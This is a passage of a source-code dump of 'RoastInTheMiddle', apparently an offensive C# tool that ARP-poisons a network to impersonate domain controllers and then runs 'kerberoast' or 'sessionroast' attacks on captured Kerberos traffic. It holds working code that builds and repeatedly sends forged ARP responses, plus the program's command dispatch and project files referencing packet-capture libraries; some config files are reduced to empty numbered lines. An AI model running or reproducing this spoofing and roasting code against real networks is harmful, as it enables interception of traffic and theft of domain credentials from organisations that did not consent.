157 | List recoveryPackets = new List(); 158 | foreach (var dcIP in dcAddresses.Keys) 159 | { 160 | foreach (var targetIP in targetAddresses.Keys) 161 | { 162 | Packet arp = BuildArpResponse(dcIP, targetIP, dcAddresses[dcIP]); 163 | arpPackets.Add(arp); 164 | 165 | Packet arp2 = BuildArpRecovery(dcIP, targetIP, dcAddresses[dcIP], targetAddresses[targetIP]); 166 | recoveryPackets.Add(arp2); 167 | } 168 | } 169 | 170 | while (Program.isRunning) 171 | { 172 | foreach (var arp in arpPackets) 173 | { 174 | captureDevice.SendPacket(arp); 175 | } 176 | Thread.Sleep(100); 177 | } 178 | 179 | // send 10 recovery arp packets to clean up 180 | Console.WriteLine("[*] DC SPOOFER: Stopping ARP pioson for DCs"); 181 | for (int i = 0; i < 10; i++) 182 | { 183 | foreach (var arp in recoveryPackets) 184 | { 185 | captureDevice.SendPacket(arp); 186 | } 187 | Thread.Sleep(10); 188 | } 189 | } 190 | 191 | private static PhysicalAddress GetPhysicalAddress(IPAddress ipAddress) 192 | { 193 | PhysicalAddress physicalAddress = null; 194 | 195 | try 196 | { 197 | byte[] ab = new byte[6]; 198 | int len = ab.Length, r = Interop.SendARP((int)ipAddress.Address, 0, ab, ref len); 199 | string hwAddress = BitConverter.ToString(ab, 0, 6); 200 | if (hwAddress != "00-00-00-00-00-00") 201 | physicalAddress = PhysicalAddress.Parse(hwAddress); 202 | } 203 | catch (Exception) { } 204 | 205 | return physicalAddress; 206 | } 207 | 208 | private static Packet BuildArpResponse(IPAddress destIP, IPAddress sourceIP, PhysicalAddress destHwAddr) 209 | { 210 | EthernetPacket arp = new EthernetPacket(captureDevice.MacAddress, destHwAddr, EthernetType.Arp); 211 | ArpPacket arpframe = new ArpPacket(ArpOperation.Response, destHwAddr, destIP, captureDevice.MacAddress, sourceIP); 212 | arp.PayloadPacket = arpframe; 213 | return arp; 214 | } 215 | 216 | private static Packet BuildArpRecovery(IPAddress destIP, IPAddress sourceIP, PhysicalAddress destHwAddr, PhysicalAddress sourceHwAddr) 217 | { 218 | EthernetPacket arp = new EthernetPacket(sourceHwAddr, destHwAddr, EthernetType.Arp); 219 | ArpPacket arpframe = new ArpPacket(ArpOperation.Response, destHwAddr, destIP, sourceHwAddr, sourceIP); 220 | arp.PayloadPacket = arpframe; 221 | return arp; 222 | } 223 | } 224 | } 225 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Concurrent; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using RoastInTheMiddle.Command; 6 | using RoastInTheMiddle.Lib.Krb; 7 | 8 | namespace RoastInTheMiddle 9 | { 10 | class Program 11 | { 12 | public static bool isRunning = true; 13 | public static bool wrap = false; 14 | public static bool verbose = false; 15 | public static string command = string.Empty; 16 | public static KRB_CRED tgt = null; 17 | 18 | public static ConcurrentDictionary shared = new ConcurrentDictionary(); 19 | public static ConcurrentQueue asReqs = new ConcurrentQueue(); 20 | 21 | static void Main(string[] args) 22 | { 23 | /*Console.CancelKeyPress += delegate (object sender, ConsoleCancelEventArgs e) { 24 | e.Cancel = true; 25 | Program.isRunning = false; 26 | };*/ 27 | command = args[0].ToLower(); 28 | 29 | var parsed = ArgumentParser.Parse(args.Skip(1)); 30 | if (parsed.ParsedOk == false) 31 | { 32 | Console.WriteLine("[X] Incorrect arguments passed, please check and try again.\r\n"); 33 | return; 34 | } 35 | 36 | if (parsed.Arguments.ContainsKey("/wrap")) 37 | { 38 | wrap = true; 39 | } 40 | 41 | if (command.Equals("kerberoast") || command.Equals("sessionroast")) 42 | { 43 | Roast.Execute(parsed.Arguments); 44 | } 45 | else 46 | { 47 | Console.WriteLine($"[X] Incorrect command passed ({command}), please check and try again.\r\n"); 48 | return; 49 | } 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("RoastInTheMiddle")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("RoastInTheMiddle")] 13 | [assembly: AssemblyCopyright("Copyright © 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("cf46f622-d6a4-4a8d-a57c-ca1fcadcb59e")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /RoastInTheMiddle/RoastInTheMiddle.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {CF46F622-D6A4-4A8D-A57C-CA1FCADCB59E} 8 | Exe 9 | RoastInTheMiddle 10 | RoastInTheMiddle 11 | v4.7.2 12 | 512 13 | true 14 | 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | false 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | false 36 | 37 | 38 | 39 | ..\packages\PacketDotNet.1.4.6\lib\net47\PacketDotNet.dll 40 | 41 | 42 | ..\packages\SharpPcap.6.2.2\lib\netstandard2.0\SharpPcap.dll 43 | 44 | 45 | 46 | ..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll 47 | 48 | 49 | 50 | ..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll 51 | 52 | 53 | 54 | ..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll 55 | 56 | 57 | ..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll 58 | 59 | 60 | ..\packages\System.Text.Encoding.CodePages.6.0.0\lib\net461\System.Text.Encoding.CodePages.dll 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /RoastInTheMiddle/app.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /RoastInTheMiddle/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | --------------------------------------------------------------------------------